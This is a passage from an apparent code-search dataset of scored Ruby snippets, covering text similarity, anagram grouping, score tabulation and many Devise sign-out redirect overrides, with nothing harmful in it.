"text": "def dump_bigram_info_from_hash()\n\n cumulative_bigram_count = 0\n\n $bigram_count.keys.sort.each do |bigram|\n local_lead_word = bigram.split(/\\s/)[0] #shouldn't need to extract this each time\n cumulative_bigram_count += $bigram_count[bigram]\n cumulative_proportion = cumulative_bigram_count.to_f / $lead_word_count[local_lead_word].to_f\n puts sprintf(\"%s\\t%f\", bigram, cumulative_proportion )\n end\n\nend",
"title": ""
},
{
"docid": "f2fee97b8367ff3fb0ceedd56424aaf8",
"score": "0.50663334",
"text": "def run\n\n line1 = gets.strip.split(\" \").map!{ |e| e.to_i }\n\n number_of_lines = line1[0]\n m = line1[1]\n k = line1[2]\n q = line1[3]\n\n maxtrix = Hash.new\n number_of_lines.times do |row|\n line = gets.strip.split(\" \").map!{ |e| e.to_i }\n\n m.times do |col|\n maxtrix[[row,col]] = line[col]\n end\n end\n\n last_line = gets.strip.split(\" \").map!{ |e| e.to_i }\n empty_slot = [last_line[0]-1,last_line[1]-1]\n caocao = [last_line[2]-1,last_line[3]-1]\n exit = [last_line[4]-1,last_line[5]-1]\n\n maxtrix[empty_slot] = \"E\"\n maxtrix[caocao] = \"C\"\n maxtrix[exit] = \"D\"\n\n knowledge_base = Hash.new\n\n printmap(number_of_lines, m, maxtrix)\nend",
"title": ""
},
{
"docid": "9b77055a1f75f8b06025e0ef4d4b7b9e",
"score": "0.506344",
"text": "def matching(mweid, mwe, leftconst, s_id, sentence, lemma, sentpos, consthash, outdata)\n\tm_frg, leftconst, totallen = 0, leftconst[0].scan(/.{1,2}/), 0\n\n\tlemma.each_with_index do |lempart, idx| \t# sentence loop\n\t\tif mwe[0] == lempart \t# 文の形態素とMWEの形態素が一部マッチ\n\t\t\tm_frg, start_idx = 1, idx\n\t\t\tstartlen, endlen = totallen+1, totallen\n\t\t\tfor cnt in 0..mwe.length-1 do\n\t\t\t\tif lemma[idx+cnt] != mwe[cnt]\n\t\t\t\t\tm_frg = 0\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tendlen += lemma[idx+cnt].length\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# 品詞等の制約を確認\t\t\t\n\t\t\tconstlist = consthash[leftconst[0]]\t\t# leftconst[1]は全て\"90\"\n\t\t\tif m_frg == 1\n\t\t\t\tm_frg = constCheck(constlist, sentpos[start_idx-2], start_idx, m_frg)\n\t\t\t\tm_frg = constCheck(constlist, sentpos[start_idx-1], start_idx, m_frg) unless m_frg != 0\n\t\t\tend\n\t\t\t# MWEが完全にマッチしたとき\n\t\t\tif m_frg == 1\n\t\t\t\tprecont, matched, postcont, startlen, endlen = splitCont(mwe, start_idx, sentence)\t\t# 出現形の文に対してのstartlen等を取得\n\t\t\t\t# p \"outdata:\", outdata\n\t\t\t\t# p \"mweid:\", mweid\n\t\t\t\t# p \"s_id:\", s_id\n\t\t\t\t# p \"matched:\", matched\n\t\t\t\t# p \"precont:\", precont\n\t\t\t\t# p \"postcont:\", postcont\n\t\t\t\t# p \"meaning:\", meaning\n\t\t\t\t# p startlen, endlen\n\t\t\t\toutdata.push([mweid, s_id, startlen.to_s, endlen.to_s, precont, matched, postcont])\t# startlen, endlen: 標準形の文に対してのもの\n\t\t\t\t# outdata.push([mweid, s_id, startlen.to_s, endlen.to_s, precont, matched, postcont, meaning])\t# startlen, endlen: 標準形の文に対してのもの\n\t\t\t\tm_frg = 0\n\t\t\tend\n\t\tend\n\t\ttotallen += lempart.length\n\tend\n\n\treturn outdata\nend",
"title": ""
},
{
"docid": "ed199fb21fddac26eaa972c3a8982152",
"score": "0.50607747",
"text": "def get_percent_similar(peer)\n output = {}\n output[:name] = peer.name\n output[:movie_array] = []\n\n cumulative_similarity_rating = 0\n cumulative_max_of_ratings = 0\n\n self.movies.each do |movie|\n if peer.movies.exists?(movie)\n matched_movie = {}\n matched_movie[:name] = movie.title\n\n self_rating = self.movie_ratings.where(movie_id: movie.id).take.rating\n peer_rating = peer.movie_ratings.where(movie_id: movie.id).take.rating\n\n similarity_rating = 100 - (peer_rating - self_rating).abs\n matched_movie[:match] = (similarity_rating / 100.0).round(2)\n output[:movie_array] << matched_movie\n\n cumulative_similarity_rating += similarity_rating\n cumulative_max_of_ratings += 100\n end\n end\n\n percent_similar = cumulative_similarity_rating.to_f / cumulative_max_of_ratings.to_f\n output[:peer_match] = percent_similar.round(2)\n\n return output\n end",
"title": ""
},
{
"docid": "d5d3beefb17c6e497516ac8a401c4c72",
"score": "0.5060357",
"text": "def compare_edges_non_syntax_diff(rev, subm, num_rev_edg, num_sub_edg)\n# puts(\"*****Inside compareEdgesnNonSyntaxDiff numRevEdg:: #{num_rev_edg} numSubEdg:: #{num_sub_edg}\") \n best_SV_SV_match = Array.new(num_rev_edg){Array.new}\n cum_edge_match = 0.0\n count = 0\n max = 0.0\n flag = 0\n \n wnet = WordnetBasedSimilarity.new\n for i in (0..num_rev_edg - 1)\n if(!rev[i].nil? and rev[i].in_vertex.node_id != -1 and rev[i].out_vertex.node_id != -1)\n #skipping edges with frequent words for vertices\n if(wnet.is_frequent_word(rev[i].in_vertex.name) and wnet.is_frequent_word(rev[i].out_vertex.name))\n next\n end\n \n #looking for best matches\n for j in (0..num_sub_edg - 1)\n #comparing in-vertex with out-vertex to make sure they are of the same type\n if(!subm[j].nil? && subm[j].in_vertex.node_id != -1 && subm[j].out_vertex.node_id != -1)\n \n #checking if the subm token is a frequent word\n if(wnet.is_frequent_word(subm[j].in_vertex.name) and wnet.is_frequent_word(subm[j].out_vertex.name))\n next\n end \n \n #carrying out the normal comparison\n if(rev[i].in_vertex.type == subm[j].in_vertex.type && rev[i].out_vertex.type == subm[j].out_vertex.type)\n if(!rev[i].label.nil?)\n if(!subm[j].label.nil?)\n #taking each match separately because one or more of the terms may be a frequent word, for which no @vertex_match exists!\n sum = 0.0\n cou = 0\n if(!@vertex_match[rev[i].in_vertex.node_id][subm[j].in_vertex.node_id].nil?)\n sum = sum + @vertex_match[rev[i].in_vertex.node_id][subm[j].in_vertex.node_id]\n cou +=1\n end\n if(!@vertex_match[rev[i].out_vertex.node_id][subm[j].out_vertex.node_id].nil?)\n sum = sum + @vertex_match[rev[i].out_vertex.node_id][subm[j].out_vertex.node_id]\n cou +=1\n end \n #--Only vertex matches\n if(cou > 0)\n best_SV_SV_match[i][j] = sum.to_f/cou.to_f\n else\n best_SV_SV_match[i][j] = 0.0\n end\n #--Vertex and SRL - Dividing it by the label's match value\n best_SV_SV_match[i][j] = best_SV_SV_match[i][j]/ compare_labels(rev[i], subm[j])\n flag = 1\n if(best_SV_SV_match[i][j] > max)\n max = best_SV_SV_match[i][j]\n end\n end\n end\n end\n end\n end #end of for loop for the submission edges\n \n #cumulating the review edges' matches in order to get its average value\n if(flag != 0) #if the review edge had any submission edges with which it was matched, since not all S-V edges might have corresponding V-O edges to match with\n # puts(\"**** Best match for:: #{rev[i].in_vertex.name} - #{rev[i].out_vertex.name} -- #{max}\")\n cum_edge_match = cum_edge_match + max\n count+=1\n max = 0.0#re-initialize\n flag = 0\n end\n end\n end #end of 'for' loop for the review's edges\n \n #getting the average for all the review edges' matches with the submission's edges\n avg_match = 0.0\n if(count > 0)\n avg_match = cum_edge_match/ count\n end\n return avg_match\nend",
"title": ""
},
{
"docid": "c5df9de781ba4817f15e183f44cc659a",
"score": "0.50576675",
"text": "def tokenizer_ranking_row_result_score\n TokenExtractor.new(\n :result_score,\n /\n (?<=\\s)\n (?<decimal_score>\n (?<thousand>\\d{1,3}\\.)*\\d{1,3}\n (?<decimals>[\\,|\\.]\\d\\d)\n (?<endline>\\s+|\\r\\n|\\n|$|\\Z)\n (?!\\D+)\n )|\n (?<score_comma>\n \\s+\\d+[\\,|\\.]\\d\\d\n (?!\\s\\s\\d\\d\\s\\s)\n )|\n (?<score_stats>\n \\s+\\d+[\\,|\\.]\\d\\d\n (?=\\s\\s\\d\\d\\s\\s)\n )|\n (?<=\\s\\s\\s\\s)(?<integer_score>\n \\s+\\d+(?=\\r|\\n|$|\\Z)\n )\n /iux,\n /\n (\n (?<=\\d\\n)|\n (?<=\\d[\\,|\\.]\\d\\d)\n )\n (\\s+|\\r\\n|\\r|\\n|$|\\Z)\n /iux\n )\n end",
"title": ""
},
{
"docid": "0aedfc4b87bc6cbece6edb07e4507365",
"score": "0.5054726",
"text": "def match(array_possible_anagrams)\n matching_words=[]\n word_broken=self.word.split(\"\").sort\n array_possible_anagrams.each do |possible_match|\n #possible_match=possible.word\n possible_match_broken=possible_match.split(\"\").sort\n if possible_match_broken == word_broken\n matching_words << possible_match\n else\n end #end of if\n end #end of do\n matching_words\n end",
"title": ""
},
{
"docid": "cf8b7df4f8abda42a4ac52779cd8cbc0",
"score": "0.5054009",
"text": "def compare_edges_syntax_diff(rev, subm, num_rev_edg, num_sub_edg)\n # puts(\"*****Inside compareEdgesSyntaxDiff :: numRevEdg :: #{num_rev_edg} numSubEdg:: #{num_sub_edg}\") \n best_SV_VS_match = Array.new(num_rev_edg){Array.new}\n cum_edge_match = 0.0\n count = 0\n max = 0.0\n flag = 0\n wnet = WordnetBasedSimilarity.new \n for i in (0..num_rev_edg - 1)\n if(!rev[i].nil? and rev[i].in_vertex.node_id != -1 and rev[i].out_vertex.node_id != -1)\n #skipping frequent word\n if(wnet.is_frequent_word(rev[i].in_vertex.name) and wnet.is_frequent_word(rev[i].out_vertex.name))\n next\n end\n for j in (0..num_sub_edg - 1)\n if(!subm[j].nil? and subm[j].in_vertex.node_id != -1 and subm[j].out_vertex.node_id != -1)\n #checking if the subm token is a frequent word\n if(wnet.is_frequent_word(subm[j].in_vertex.name) and wnet.is_frequent_word(subm[j].out_vertex.name))\n next\n end \n if(rev[i].in_vertex.type == subm[j].out_vertex.type and rev[i].out_vertex.type == subm[j].in_vertex.type)\n #taking each match separately because one or more of the terms may be a frequent word, for which no @vertex_match exists!\n sum = 0.0\n cou = 0\n if(!@vertex_match[rev[i].in_vertex.node_id][subm[j].out_vertex.node_id].nil?)\n sum = sum + @vertex_match[rev[i].in_vertex.node_id][subm[j].out_vertex.node_id]\n cou +=1\n end\n if(!@vertex_match[rev[i].out_vertex.node_id][subm[j].in_vertex.node_id].nil?)\n sum = sum + @vertex_match[rev[i].out_vertex.node_id][subm[j].in_vertex.node_id]\n cou +=1\n end \n \n if(cou > 0)\n best_SV_VS_match[i][j] = sum.to_f/cou.to_f\n else\n best_SV_VS_match[i][j] = 0.0\n end\n \n flag = 1\n if(best_SV_VS_match[i][j] > max)\n max = best_SV_VS_match[i][j]\n end\n end\n end #end of the if condition\n end #end of the for loop for the submission edges \n \n if(flag != 0)#if the review edge had any submission edges with which it was matched, since not all S-V edges might have corresponding V-O edges to match with\n # puts(\"**** Best match for:: #{rev[i].in_vertex.name} - #{rev[i].out_vertex.name}-- #{max}\")\n cum_edge_match = cum_edge_match + max\n count+=1\n max = 0.0 #re-initialize\n flag = 0\n end\n \n end #end of the if condition\n end #end of the for loop for the review\n \n avg_match = 0.0\n if(count > 0)\n avg_match = cum_edge_match.to_f/count.to_f\n end\n return avg_match\nend",
"title": ""
},
{
"docid": "5e025b33c4ade2373866accfd66c9e9c",
"score": "0.5046114",
"text": "def processArray(arr)\n\t\treturn processString(arr[0]) if arr.length == 1\n\t\treturn { :type => 'hash', :result => hashForPhrase(arr) } if arr.length == phraseLength\n\t\treturn { :type => 'error' }\n\tend",
"title": ""
},
{
"docid": "eeb4a04d66350652c3eda653542bb4b2",
"score": "0.5044607",
"text": "def score(word)\n point_values_hash = point_values\n point_values(word)\n end",
"title": ""
},
{
"docid": "a77e9739a93f6b2b368877a4ca3e279b",
"score": "0.5042841",
"text": "def similar_cells\n prefix = ssdeep.split(':').first.to_i\n prefixes = [prefix, prefix * 2]\n prefixes.push(prefix / 2) unless prefix.odd?\n prefix_where = prefixes.map {|p| \"ssdeep LIKE '#{p}:%'\"}.join(' OR ')\n CodeCell\n .includes(:notebook)\n .where(prefix_where)\n .where.not(id: id)\n .map {|cell| [cell, Ssdeep.compare(ssdeep, cell.ssdeep)]}\n .reject {|_cell, score| score.zero?}\n .sort_by {|_cell, score| -score}\n end",
"title": ""
},
{
"docid": "fe476f5278a32307d7638815e7daa390",
"score": "0.5037998",
"text": "def savvy_shuffled_sentence(s1,s2)\n hash1,hash2 = Hash.new(0),Hash.new(0)\n s1.split(' ').each {|word| hash1[word] += 1}\n s2.split(' ').each {|word| hash2[word] += 1}\n hash1 == hash2\nend",
"title": ""
},
{
"docid": "ce68fdd5f4576021e9f29a8fe179a933",
"score": "0.50379264",
"text": "def tabulateScores(in_filename,out_filename)\n\t\n\tinFile = File.new(in_filename,'r')\n\toutFile = File.new(out_filename,'w')\n\t\n\tscoresHash = {}\n\t\n\tlines = inFile.each_line\n\t\n\tlines.each do |l|\n\t\tl_arr = l.split('\",\"').map(&:strip)\n\t\t\n\t\tif l_arr[3] != \"ScppBasicOutput_QpostLessonMC_5\" && l_arr[3] != \"ScppBasicOutput_QpostLessonSA_3\"\n\t\t\tscoresHash[l_arr[1]] = scoresHash[l_arr[1]].nil? ? l_arr[4].to_i : scoresHash[l_arr[1]]+l_arr[4].to_i\n\t\tend\n\tend\n\t\n\tscoresHash.sort.map do |userID,score|\n\t\toutFile.puts(userID+\",\"+score.to_s)\n\tend\n\t\n\tinFile.close\n\toutFile.close\n\t\nend",
"title": ""
},
{
"docid": "39d6d64171d5e9ac61dde46ea7502636",
"score": "0.50326306",
"text": "def calculate_similar_items(data, n=10, metric = Pearson.new)\n result = {}\n\n item_prefs = Dm::Similar::transform_pref(data)\n\n c = 0\n item_prefs.each do |item, similar|\n c += 1\n\n # print a counter for progress report (for large database)\n puts \"#{c} / #{item_prefs.size}\" if c%100 == 0\n\n # find score for similar item\n result[item] = top_matches(item_prefs, item, n, metric)\n end\n\n result\n end",
"title": ""
},
{
"docid": "f66954856b9b5cb84a5af1737adb647b",
"score": "0.50320786",
"text": "def combine_anagrams(wordArray)\n \n \n sortedCharsHash = Hash.new\n groupedArray = Array.new\n n = 0\n \n wordArray.each do |word|\n \n #if freq hash not in freq hash array, put in there and add to grouped array\n #if freq hash in freq hash array, iterate through items until match and put in there\n \n sortedChars = word.downcase.split(//).sort.join\n if sortedCharsHash[sortedChars]\n groupedArray[sortedCharsHash[sortedChars].to_i] << word\n else\n sortedCharsHash[sortedChars] = n\n n = n +1\n groupedArray << [word]\n end\n end\n \n return groupedArray\n \n \nend",
"title": ""
}
] |
4f21aae2bb1730fc7e48e15883d7d6a9
|
Overwriting the sign_out redirect path method
|
[
{
"docid": "865c73b03bcdc1943b27f0dc6bfd8d50",
"score": "0.0",
"text": "def after_sign_out_path_for(resource_or_scope)\n\t\tnew_user_session_path\n\tend",
"title": ""
}
] |
[
{
"docid": "9f04e62b663f6477f6c1d68d1b288eeb",
"score": "0.82528174",
"text": "def after_sign_out_path_for(resource)\n super\n end",
"title": ""
},
{
"docid": "82427fe165aea1e420f5e1332636a243",
"score": "0.81517977",
"text": "def sign_out\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "d3c8348f52629955a98ae38bb5baf0ed",
"score": "0.8142195",
"text": "def after_sign_out_path_for(_resource_or_scope)\n sign_out_path\n end",
"title": ""
},
{
"docid": "3e608f14b522dbfd288768da03d284bd",
"score": "0.8120327",
"text": "def after_sign_out_path_for(resource)\n signed_off_path\n end",
"title": ""
},
{
"docid": "43f645d8f2bdbfea686d771ec9e0d49a",
"score": "0.8106503",
"text": "def after_sign_out_path_for(_resource_or_scope)\n logged_out_path\n end",
"title": ""
},
{
"docid": "7585a819e8f981a051f0093174776304",
"score": "0.8072149",
"text": "def after_sign_out_path_for(@user)\n '/users/login'\n end",
"title": ""
},
{
"docid": "5247573edc4002edb6704dabdc62c346",
"score": "0.8007481",
"text": "def after_sign_out_path_for(_resource_or_scope)\n '/'\n end",
"title": ""
},
{
"docid": "009b22d3fd0d77fec76922727ddd2b18",
"score": "0.79601544",
"text": "def after_sign_out_path_for(users)\n \"/users/sign_in\"\n end",
"title": ""
},
{
"docid": "ea9935d33304525c7a3f28e43dabd85c",
"score": "0.7951158",
"text": "def after_sign_out_path_for(resource_or_scope)\n '/sign_in/'\n end",
"title": ""
},
{
"docid": "63e035b39aa09215db550e55dcb35d6b",
"score": "0.7948077",
"text": "def after_sign_out_path_for(resource_or_scope)\n '/users/sign_in'\n end",
"title": ""
},
{
"docid": "a43218ced5f4a4bd0966bbc5b177d0d7",
"score": "0.79428977",
"text": "def sign_out\n get logout_url\n end",
"title": ""
},
{
"docid": "b30140537f73ad3b422b25b8dea2e654",
"score": "0.79377097",
"text": "def after_sign_out_path_for(_resource_or_scope)\n \"/\"\n end",
"title": ""
},
{
"docid": "d47c00ed82d14b8c0511735035bd7149",
"score": "0.79300094",
"text": "def after_sign_out_path_for(resource_or_scope)\n logged_out_url\n end",
"title": ""
},
{
"docid": "5d2c84194bb0a6bb64a58bec08b34796",
"score": "0.7926801",
"text": "def after_sign_out_path_for(*)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "5d2c84194bb0a6bb64a58bec08b34796",
"score": "0.7926801",
"text": "def after_sign_out_path_for(*)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "3892be7738e7767e202888b11a331026",
"score": "0.79265827",
"text": "def after_sign_out_path_for(resource_or_scope)\n MnoEnterprise.router.after_sign_out_url || super\n end",
"title": ""
},
{
"docid": "6dd963118a70f91bb9e23b3e84268673",
"score": "0.7886915",
"text": "def after_sign_out_path_for(resource_or_scope)\n \"/#/sign_in\"\n end",
"title": ""
},
{
"docid": "0dc6c3d3a2ea6e93d1d7070a4eb089eb",
"score": "0.7884774",
"text": "def after_sign_out_path_for(_)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "0dc6c3d3a2ea6e93d1d7070a4eb089eb",
"score": "0.7884774",
"text": "def after_sign_out_path_for(_)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "62daba9e339230ca1e099211cddee77b",
"score": "0.7883731",
"text": "def after_sign_out_path_for(resource_or_scope)\n set_flash_message :notice, :signed_out\n root_path\n end",
"title": ""
},
{
"docid": "ea8fcc0ae3c045dd39a2b8992e27f0eb",
"score": "0.7871015",
"text": "def after_sign_out_path_for(resource)\n sign_in_path\n end",
"title": ""
},
{
"docid": "afb4efe036404aadf8129f0d836db5c9",
"score": "0.78685254",
"text": "def after_sign_out_path_for(resource)\n '/'\n end",
"title": ""
},
{
"docid": "dd23e0294f27e5f5e43bc4f9a9893af3",
"score": "0.78633976",
"text": "def after_sign_out_path_for(_resource_or_scope)\n cas_logout_url || new_user_session_path\n end",
"title": ""
},
{
"docid": "37362b52c542ca6c509e97f509453672",
"score": "0.78436327",
"text": "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"title": ""
},
{
"docid": "37362b52c542ca6c509e97f509453672",
"score": "0.78436327",
"text": "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"title": ""
},
{
"docid": "b5d036da530cd297af1bb22674456b25",
"score": "0.78377086",
"text": "def after_sign_out_path_for(_resource)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "f7cfdc70e7be9bf9c655943d23024b87",
"score": "0.7835952",
"text": "def signout\n sign_out\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "ad470bc75ed7873ef3848238a754718f",
"score": "0.7832843",
"text": "def after_sign_out_path_for(*)\n \"/\"\n end",
"title": ""
},
{
"docid": "05afbf3db8d65fd34a4cc4021aa258f7",
"score": "0.78080326",
"text": "def after_sign_out_path_for(resource_or_scope)\n\t kiss_record \"Signed Out\"\n\t home_path\n\tend",
"title": ""
},
{
"docid": "a854a54e6dbf5dc3d26cc2d4da94ee01",
"score": "0.7803291",
"text": "def after_sign_out_path_for(resource)\n \t new_user_session_path\n\t end",
"title": ""
},
{
"docid": "e1e88027373ecd7593184ac8aaed567b",
"score": "0.77931714",
"text": "def after_signout_path\n \"/\"\n end",
"title": ""
},
{
"docid": "c94dbdbfe8e53c7ff696b27f238561b1",
"score": "0.77639675",
"text": "def after_sign_out_path_for(user)\n \troot_url\n end",
"title": ""
},
{
"docid": "e74094f39a48dd099e7d56745c275b3f",
"score": "0.77291566",
"text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "e74094f39a48dd099e7d56745c275b3f",
"score": "0.77291566",
"text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "e74094f39a48dd099e7d56745c275b3f",
"score": "0.77291566",
"text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "e74094f39a48dd099e7d56745c275b3f",
"score": "0.77291566",
"text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "e74094f39a48dd099e7d56745c275b3f",
"score": "0.77291566",
"text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "5714d95b0753ef6608b007d0f5874dc7",
"score": "0.77198064",
"text": "def after_sign_out_path_for(resource_or_scope)\n track_user_logout\n root_path\n end",
"title": ""
},
{
"docid": "59b9907ba1096a88ed47280a3e12ea83",
"score": "0.77159405",
"text": "def after_sign_out_path_for(resource_or_scope)\n '/login'\n end",
"title": ""
},
{
"docid": "59b9907ba1096a88ed47280a3e12ea83",
"score": "0.77152544",
"text": "def after_sign_out_path_for(resource_or_scope)\n '/login'\n end",
"title": ""
},
{
"docid": "59b9907ba1096a88ed47280a3e12ea83",
"score": "0.77152544",
"text": "def after_sign_out_path_for(resource_or_scope)\n '/login'\n end",
"title": ""
},
{
"docid": "9f149c660ade356238601c135ef6a805",
"score": "0.77101934",
"text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\nend",
"title": ""
},
{
"docid": "da79e3deac20de195900a5b6675f4109",
"score": "0.7708634",
"text": "def after_sign_out_path_for(resource_or_scope)\n logout_path\n end",
"title": ""
},
{
"docid": "807b4d7e2c96e3089d13045fb82bcd0d",
"score": "0.77031434",
"text": "def after_sign_out_path_for(resource_or_scope)\n \"#{root_path}?logout=true\"\n end",
"title": ""
},
{
"docid": "d61ff0df290f75e94fc69d31774c7305",
"score": "0.77021945",
"text": "def after_sign_out_path_for(resource_or_scope)\n redirect = params[\"redirect\"] && CGI::unescape(params[\"redirect\"])\n logger.info \"redirect after sign_out: \" + redirect.to_s\n redirect ? redirect : root_path\n end",
"title": ""
},
{
"docid": "4d867e1e59f0628d2161e2248e8be2db",
"score": "0.7700469",
"text": "def signed_out_user\n if signed_in?\n redirect_to(root_url)\n end\n end",
"title": ""
},
{
"docid": "9bbc3004b7a59196427ccfcad3d6eead",
"score": "0.7700084",
"text": "def sign_out_page\n render 'devise/sessions/sign_out'\n end",
"title": ""
},
{
"docid": "c5b69fa75571ae2dce32bf9fa10438b9",
"score": "0.7698499",
"text": "def after_sign_out_path_for(user)\n \tnew_user_session_path\n end",
"title": ""
},
{
"docid": "231e044ecff5c274e5268e0640e04596",
"score": "0.76939315",
"text": "def after_sign_out_path_for(resource)\n session[:org] = nil\n new_user_session_path\n end",
"title": ""
},
{
"docid": "231e044ecff5c274e5268e0640e04596",
"score": "0.76939315",
"text": "def after_sign_out_path_for(resource)\n session[:org] = nil\n new_user_session_path\n end",
"title": ""
},
{
"docid": "08a17ad4fe70b3d8ad55128e9e2e1997",
"score": "0.769212",
"text": "def signed_out_user\n redirect_to root_path unless !signed_in?\n end",
"title": ""
},
{
"docid": "658a9e277f95c043164ffa4c5a9b65e4",
"score": "0.76831216",
"text": "def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "2c942d0b8cbcea254dcb27aa9a1e744f",
"score": "0.7682263",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "b8859b4509eeb67d1565d3d96414fee4",
"score": "0.76777554",
"text": "def after_sign_out_path_for(_resource)\n root_path\n end",
"title": ""
},
{
"docid": "b8859b4509eeb67d1565d3d96414fee4",
"score": "0.76777554",
"text": "def after_sign_out_path_for(_resource)\n root_path\n end",
"title": ""
},
{
"docid": "c3e50c6bd7c9afdbc04a697b866083e2",
"score": "0.7657932",
"text": "def signed_out_user\n if @signed_in\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "e81cd1e0da10d1829cfbf717f770e251",
"score": "0.7655501",
"text": "def after_sign_out_path_for(resource_or_scope)\n \"/\"\n end",
"title": ""
},
{
"docid": "8ef2806a52459413ded52a2e43c4ed79",
"score": "0.7648671",
"text": "def after_sign_out_path_for(resource_or_scope)\n :back\n end",
"title": ""
},
{
"docid": "118fcf3e2b37787b698c7d7fae18ca5e",
"score": "0.76414305",
"text": "def after_sign_out_path_for(user)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "5f53b194084dd88a980820730e6799eb",
"score": "0.76360905",
"text": "def after_sign_out_path_for resource\n root_path\n end",
"title": ""
},
{
"docid": "40372df52967c0d5f62a2a081e5ebfea",
"score": "0.7635136",
"text": "def after_sign_out_path_for(resource)\n users_path\n end",
"title": ""
},
{
"docid": "d096e98e628b365f5b229bf126d3ba08",
"score": "0.7632876",
"text": "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"title": ""
},
{
"docid": "d096e98e628b365f5b229bf126d3ba08",
"score": "0.7632876",
"text": "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"title": ""
},
{
"docid": "d096e98e628b365f5b229bf126d3ba08",
"score": "0.7632876",
"text": "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"title": ""
},
{
"docid": "3adab26c47b2a334ac38cbd1911db178",
"score": "0.7631297",
"text": "def after_sign_out_path_for(resource_or_scope)\n log_out_path\n end",
"title": ""
},
{
"docid": "f7809f275c340c03fc453cb6419e1e91",
"score": "0.7623889",
"text": "def after_sign_out_path_for(_resource)\n root_path\n end",
"title": ""
},
{
"docid": "2dd5583a27c6b3da69db3500ffa2b7cc",
"score": "0.7622437",
"text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end",
"title": ""
},
{
"docid": "2dd5583a27c6b3da69db3500ffa2b7cc",
"score": "0.7622437",
"text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end",
"title": ""
},
{
"docid": "2dd5583a27c6b3da69db3500ffa2b7cc",
"score": "0.7622437",
"text": "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end",
"title": ""
},
{
"docid": "06cf1ed92550b4e968297f9b0ee82e6c",
"score": "0.76195174",
"text": "def sign_out\n @controller.sign_out\n end",
"title": ""
},
{
"docid": "eb11ea50454c6673d7dc4aa8fae284c8",
"score": "0.7617919",
"text": "def after_sign_out_path_for(resource)\n \troot_path\n end",
"title": ""
},
{
"docid": "946f0f39480246b26b78a6a02331d990",
"score": "0.7613417",
"text": "def after_sign_out_path_for(resource_or_scope)\n home_path(:ref => \"logout\")\n end",
"title": ""
},
{
"docid": "a2fa04e162adae5b52a02eac2367aed1",
"score": "0.7583769",
"text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end",
"title": ""
},
{
"docid": "a2fa04e162adae5b52a02eac2367aed1",
"score": "0.7583769",
"text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end",
"title": ""
},
{
"docid": "a2fa04e162adae5b52a02eac2367aed1",
"score": "0.7583769",
"text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end",
"title": ""
},
{
"docid": "a2fa04e162adae5b52a02eac2367aed1",
"score": "0.7583769",
"text": "def after_sign_out_path_for(_resource_or_scope)\n root_path\n end",
"title": ""
},
{
"docid": "2b09335d9b0c1811b7bc9f78880519d3",
"score": "0.7582062",
"text": "def after_sign_out_path_for(_resource_or_scope)\n logout_confirmation_path\n end",
"title": ""
},
{
"docid": "a08a805f4d726374d3294bca5d8c4ca5",
"score": "0.75714266",
"text": "def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"title": ""
},
{
"docid": "b390c80e51f7da75081750f4430bf130",
"score": "0.75676423",
"text": "def after_sign_out_path_for(resource)\n root_path\nend",
"title": ""
},
{
